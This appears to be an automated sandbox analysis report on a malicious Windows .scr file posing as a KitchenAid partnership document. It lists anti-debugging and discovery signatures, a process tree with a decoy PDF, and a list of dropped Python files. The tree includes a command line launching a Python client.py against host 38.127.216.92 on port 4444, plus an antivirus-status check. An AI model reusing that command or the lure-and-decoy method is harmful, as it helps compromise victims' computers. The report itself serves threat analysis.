Analysis

  • max time kernel
    57s
  • max time network
    63s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    24/10/2026, 06:03

General

  • Target
    KitchenAid-Global_Digital_Growth_Partnership.1.8.3/KitchenAid-Global_Digital_Growth_Partnership.scr
  • Size 4.7MB
  • Sample261024-gr2jesgs2y
  • SHA256 aaa072b211b33214251f202097f231cd26b7450b21376029771b6c84271620c1
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Looks up external IP address via web service 1 TTPs 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtCreateThreadExHideFromDebugger 1 TTPs 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 TTPs 3 IoCs
  • Executes dropped EXE 2 IoCs
  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

  • Loads dropped DLL 27 IoCs
  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\KitchenAid-Global_Digital_Growth_Partnership.1.8.3\KitchenAid-Global_Digital_Growth_Partnership.scr
    "C:\Users\Admin\AppData\Local\Temp\KitchenAid-Global_Digital_Growth_Partnership.1.8.3\KitchenAid-Global_Digital_Growth_Partnership.scr" /S
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1524
    • C:\Users\Admin\AppData\Local\Temp\KitchenAid-Global_Digital_Growth_Partnership.1.8.3\8.5.0.3590\CapCut.exe
      "C:\Users\Admin\AppData\Local\Temp\KitchenAid-Global_Digital_Growth_Partnership.1.8.3\8.5.0.3590\CapCut.exe" /S
      2⤵
      • Suspicious use of NtCreateThreadExHideFromDebugger
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4368
      • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\KitchenAid-Global_Digital_Growth_Partnership.pdf"
        3⤵
        • System Location Discovery: System Language Discovery
        • Checks processor information in registry
        • Modifies Internet Explorer settings
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:1916
        • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
          "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3456
          • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
            "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=BD344D416F09ABDA1133AB9694E12A3A --mojo-platform-channel-handle=1720 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2640
          • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
            "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=43CC92D8E063BB3B5136E698155F010F --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=43CC92D8E063BB3B5136E698155F010F --renderer-client-id=2 --mojo-platform-channel-handle=1900 --allow-no-sandbox-job /prefetch:1
            5⤵
            • System Location Discovery: System Language Discovery
            PID:3120
          • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
            "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=FAE9CEF3EA6EFDA5F169EE11C92D3441 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=FAE9CEF3EA6EFDA5F169EE11C92D3441 --renderer-client-id=4 --mojo-platform-channel-handle=2308 --allow-no-sandbox-job /prefetch:1
            5⤵
            • System Location Discovery: System Language Discovery
            PID:3580
          • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
            "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=3ED4CFBD46741C44951DAF821B1A8098 --mojo-platform-channel-handle=2440 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
            5⤵
            • System Location Discovery: System Language Discovery
            PID:5056
          • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
            "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=3E4664F530A2610DD4B94424E427FA12 --mojo-platform-channel-handle=1864 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
            5⤵
            • System Location Discovery: System Language Discovery
            PID:3004
          • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
            "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=5E1388272E7AC155037C892BE5018F17 --mojo-platform-channel-handle=2108 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
            5⤵
            • System Location Discovery: System Language Discovery
            PID:404
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1532
        • C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\pythonw.exe
          "C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\pythonw.exe" "C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\client.py" --host 38.127.216.92 --port 4444
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Reads the TCP/IP host and domain name from the registry
          • Suspicious use of AdjustPrivilegeToken
          PID:1600
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "ver"
            5⤵
            • Executes a command shell one-liner
            PID:3896
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "ver"
            5⤵
            • Executes a command shell one-liner
            PID:4844
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -NonInteractive -Command "(Get-MpComputerStatus -ErrorAction SilentlyContinue).AntivirusEnabled"
            5⤵
            • Hide Artifacts: Ignore Process Interrupts
            PID:1724
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
        3⤵
          PID:3896
        • C:\Program Files\Mozilla Firefox\firefox.exe
          "C:\Program Files\Mozilla Firefox\firefox.exe"
          3⤵
            PID:456
      • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
        "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
        1⤵
          PID:5000
        • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
          "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
          1⤵
            PID:2052
          • C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\pythonw.exe
            "C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\pythonw.exe"
            1⤵
            • Executes dropped EXE
            • Loads dropped DLL
            PID:1636

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                ReaderMessages

                • Path C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
                • Size 64KB
                • SHA256 fda7a8fbea3020e0a3eba7ff118a5b337b319bc99c08c58c068b377a45160285
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _imagingmath.pyi

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\PIL\_imagingmath.pyi
                • Size 66B
                • SHA256 cc3f2f0283c2f1a1085637dc90bb45b24456e6c6a255e977fac254036a476867
                • MD5 SHA1 SHA512 TLSH

                __init__.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\_distutils_hack\__init__.py
                • Size 6KB
                • SHA256 5356cafcf04ca22b9049be1bdd615609ac03f7b1adaf3d658c1df54bde68742d
                • MD5 SHA1 SHA512 SSDEEP TLSH

                license.txt

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\adodbapi\license.txt
                • Size 26KB
                • SHA256 5ea2f23c7f00c3006bacf267183e816d8d4b6dc95ea57a4ddb0ff81de6d8719e
                • MD5 SHA1 SHA512 SSDEEP TLSH

                top_level.txt

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\certifi-2026.5.20.dist-info\top_level.txt
                • Size 9B
                • SHA256 b4847b2c5bfa52eff04c4dc8ab02ee3d7f0e28402df5115cde0858061e66f3d7
                • MD5 SHA1 SHA512

                WHEEL

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\certifi-2026.6.17.dist-info\WHEEL
                • Size 96B
                • SHA256 e4d420e73bd68281a553a64686a99f6eebd4fe13d5273658642ca513c5ed6e2c
                • MD5 SHA1 SHA512 TLSH

                LICENSE

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\certifi-2026.6.17.dist-info\licenses\LICENSE
                • Size 1009B
                • SHA256 efd4508e127828f464236142d1a7acc70c3c816c0c5eecbd7f8fc65649d446ab
                • MD5 SHA1 SHA512 TLSH

                LICENSE

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\certifi-2026.7.22.dist-info\licenses\LICENSE
                • Size 989B
                • SHA256 e93716da6b9c0d5a4a1df60fe695b370f0695603d21f6f83f053e42cfc10caf7
                • MD5 SHA1 SHA512 TLSH

                WHEEL

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\cffi-2.1.0.dist-info\WHEEL
                • Size 106B
                • SHA256 9b5aa22ced8682f690874aace2a09e5882dfd460ddd24ed1ce6a9c8efc33efe2
                • MD5 SHA1 SHA512 TLSH

                entry_points.txt

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\charset_normalizer-3.4.7.dist-info\entry_points.txt
                • Size 67B
                • SHA256 2437bcf8cde9d0311c99d62a5f6614145dff97341f7296220ee66d0eaaf2e438
                • MD5 SHA1 SHA512 TLSH

                LICENSE

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\charset_normalizer-3.4.7.dist-info\licenses\LICENSE
                • Size 1KB
                • SHA256 18577485d3704f1a479ded8e573c0976cfed315fd2fd17983fa988da4c2f70d1
                • MD5 SHA1 SHA512 TLSH

                md.cp311-win_amd64.pyd

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\charset_normalizer\md.cp311-win_amd64.pyd
                • Size 10KB
                • SHA256 c5c39f8d3c18105b244a19518c4749e41f418e7dd5b1885b0c019e25e6c8b61e
                • MD5 SHA1 SHA512 SSDEEP TLSH

                __init__.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\cryptography\hazmat\primitives\asymmetric\__init__.py
                • Size 216B
                • SHA256 c0709b59f69e7daf9f93a4c74b0f6d87d7c952c4ad268ef6e39c1f141aa676e0
                • MD5 SHA1 SHA512 TLSH

                distutils-precedence.pth

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\distutils-precedence.pth
                • Size 151B
                • SHA256 2638ce9e2500e572a5e0de7faed6661eb569d1b696fcba07b0dd223da5f5d224
                • MD5 SHA1 SHA512 TLSH

                README.txt

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\isapi\README.txt
                • Size 330B
                • SHA256 41383bcc95edb8138d37077ae54bfdcbd2a3b77bf745a8529a9c161146e22303
                • MD5 SHA1 SHA512 TLSH

                LICENSE

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\packaging-26.2.dist-info\licenses\LICENSE
                • Size 200B
                • SHA256 8ef81e4c883c5ccb2a08026cc74ba3193279dd5149b36839d976c0a896637d87
                • MD5 SHA1 SHA512 TLSH

                LICENSE.BSD

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\packaging-26.2.dist-info\licenses\LICENSE.BSD
                • Size 1KB
                • SHA256 67daf15b478dbd91bcd83bff907efff68471d42d2138226b89f039d658d53435
                • MD5 SHA1 SHA512 TLSH

                _structures.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\packaging\_structures.py
                • Size 1KB
                • SHA256 eb48d16c5efca7ccf930a9cd77a700a6b80e69d0891d5d03966526441a8565cb
                • MD5 SHA1 SHA512 TLSH

                errors.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\packaging\errors.py
                • Size 2KB
                • SHA256 ea17c461701ff2ffc817ae7e94569d24e30889e04fdb120ab721178c6d67188b
                • MD5 SHA1 SHA512 TLSH

                WHEEL

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\pillow-12.3.0.dist-info\WHEEL
                • Size 101B
                • SHA256 5c75cc289537ca8561d596a70574c9e5b0c66faee8118b45d52e9b77c6b88b32
                • MD5 SHA1 SHA512 TLSH

                WHEEL

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\pip-26.1.2.dist-info\WHEEL
                • Size 86B
                • SHA256 a8cb846700301898d509768153aa03a70e0aa47c27e99adbaf15cffa1f5b6af3
                • MD5 SHA1 SHA512 TLSH

                LICENSE.APACHE

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\pip-26.1.2.dist-info\licenses\src\pip\_vendor\packaging\LICENSE.APACHE
                • Size 10KB
                • SHA256 eb3d7b5485466acbd81f2b496f595ab637d2792e268206b27d99e793bdb67549
                • MD5 SHA1 SHA512 SSDEEP TLSH

                LICENSE

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\pip-26.1.2.dist-info\licenses\src\pip\_vendor\pkg_resources\LICENSE
                • Size 1KB
                • SHA256 e7749fa8c07ca368021bbe1c5ca25bd4db4a618aedc394b686fb4f781e6f6a28
                • MD5 SHA1 SHA512 TLSH

                LICENSE

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\pip-26.1.2.dist-info\licenses\src\pip\_vendor\tomli_w\LICENSE
                • Size 1KB
                • SHA256 34b59b39e7ba577a1d86924218c71229b163d3bf3903aec784299f725c89d324
                • MD5 SHA1 SHA512 TLSH

                LICENSE.md

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\pip\_vendor\idna\LICENSE.md
                • Size 1KB
                • SHA256 b4c744872defcd1327ee35493e807d35cb6c3b267a237e845c3e5c8e0f4df26d
                • MD5 SHA1 SHA512 TLSH

                LICENSE

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\pip\_vendor\packaging\LICENSE
                • Size 197B
                • SHA256 cad1ef5bd340d73e074ba614d26f7deaca5c7940c3d8c34852e65c4909686c48
                • MD5 SHA1 SHA512 TLSH

                LICENSE.BSD

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\pip\_vendor\packaging\LICENSE.BSD
                • Size 1KB
                • SHA256 b70e7e9b742f1cc6f948b34c16aa39ffece94196364bc88ff0d2180f0028fac5
                • MD5 SHA1 SHA512 TLSH

                _elffile.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\pip\_vendor\packaging\_elffile.py
                • Size 3KB
                • SHA256 fac2a4a6d62acd8c36fb1dd007225ae66078adf3d6bb5a719191d1c755801426
                • MD5 SHA1 SHA512 TLSH

                _manylinux.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\pip\_vendor\packaging\_manylinux.py
                • Size 9KB
                • SHA256 1dfea707470eadac84b3debea77a085c08069c5aaebf6d033b997ea36fd79efd
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _musllinux.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\pip\_vendor\packaging\_musllinux.py
                • Size 2KB
                • SHA256 67ab308c7dcc03b5d2dea5e798c37b40f86a3f77e7a18234790d7c7bdf878001
                • MD5 SHA1 SHA512 TLSH

                _spdx.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\pip\_vendor\packaging\licenses\_spdx.py
                • Size 49KB
                • SHA256 596ec35e2ca0ebcba9fd8343ff0a51625af548786257815f24b41f7e08613314
                • MD5 SHA1 SHA512 SSDEEP TLSH

                LICENSE

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\pip\_vendor\platformdirs\LICENSE
                • Size 1KB
                • SHA256 29e0fd62e929850e86eb28c3fdccf0cefdf4fa94879011cffb3d0d4bed6d4db6
                • MD5 SHA1 SHA512 TLSH

                _types.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\pip\_vendor\tomli\_types.py
                • Size 254B
                • SHA256 f864c6d9552a929c7032ace654ee05ef26ca75d21b027b801d77e65907138b74
                • MD5 SHA1 SHA512 TLSH

                LICENSE

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\pip\_vendor\tomli_w\LICENSE
                • Size 1KB
                • SHA256 b80816b0d530b8accb4c2211783790984a6e3b61922c2b5ee92f3372ab2742fe
                • MD5 SHA1 SHA512 TLSH

                py.typed

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\pip\_vendor\tomli_w\py.typed
                • Size 26B
                • SHA256 f0f8f2675695a10a5156fb7bd66bafbaae6a13e8d315990af862c792175e6e67
                • MD5 SHA1 SHA512

                LICENSE.txt

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\pip\_vendor\urllib3\LICENSE.txt
                • Size 1KB
                • SHA256 130e3a64d5fdd5d096a752694634a7d9df284469de86e5732100268041e3d686
                • MD5 SHA1 SHA512 TLSH

                __init__.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\pip\_vendor\urllib3\__init__.py
                • Size 6KB
                • SHA256 24ca35b60d67215d40789daf10d0bf4f17e5d1ee61e86ce5f43195935ad645ba
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _request_methods.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\pip\_vendor\urllib3\_request_methods.py
                • Size 9KB
                • SHA256 802785f3948efd45385a83f0607228cffb70f9e33f1153a42c5a7c385b02ec30
                • MD5 SHA1 SHA512 SSDEEP TLSH

                connection.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\pip\_vendor\urllib3\contrib\emscripten\connection.py
                • Size 8KB
                • SHA256 822125b01a14b0a55445b6736fc182ac99aa5b6dd79ef8f668dc90545e36b258
                • MD5 SHA1 SHA512 SSDEEP TLSH

                emscripten_fetch_worker.js

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\pip\_vendor\urllib3\contrib\emscripten\emscripten_fetch_worker.js
                • Size 3KB
                • SHA256 cf5937cd9e3f84329ddfeb4def0cf3f0b1e31c2da9c4dfeebbc07793d0fd0377
                • MD5 SHA1 SHA512 TLSH

                fetch.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\pip\_vendor\urllib3\contrib\emscripten\fetch.py
                • Size 22KB
                • SHA256 e7171dfbebe217165dda7072d1a2bbdddb49f53b21d7261953f4945f09f089b9
                • MD5 SHA1 SHA512 SSDEEP TLSH

                request.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\pip\_vendor\urllib3\contrib\emscripten\request.py
                • Size 566B
                • SHA256 98bdbcb33cb52af137349856a2be633666aba7c830a650d4fbb8301996398344
                • MD5 SHA1 SHA512 TLSH

                filepost.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\pip\_vendor\urllib3\filepost.py
                • Size 2KB
                • SHA256 53c78d67e9a928a1e1ae56c7104893c7180ad7a21e8e111aeeecf8db2a80fdd2
                • MD5 SHA1 SHA512 TLSH

                __init__.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\pip\_vendor\urllib3\http2\__init__.py
                • Size 1KB
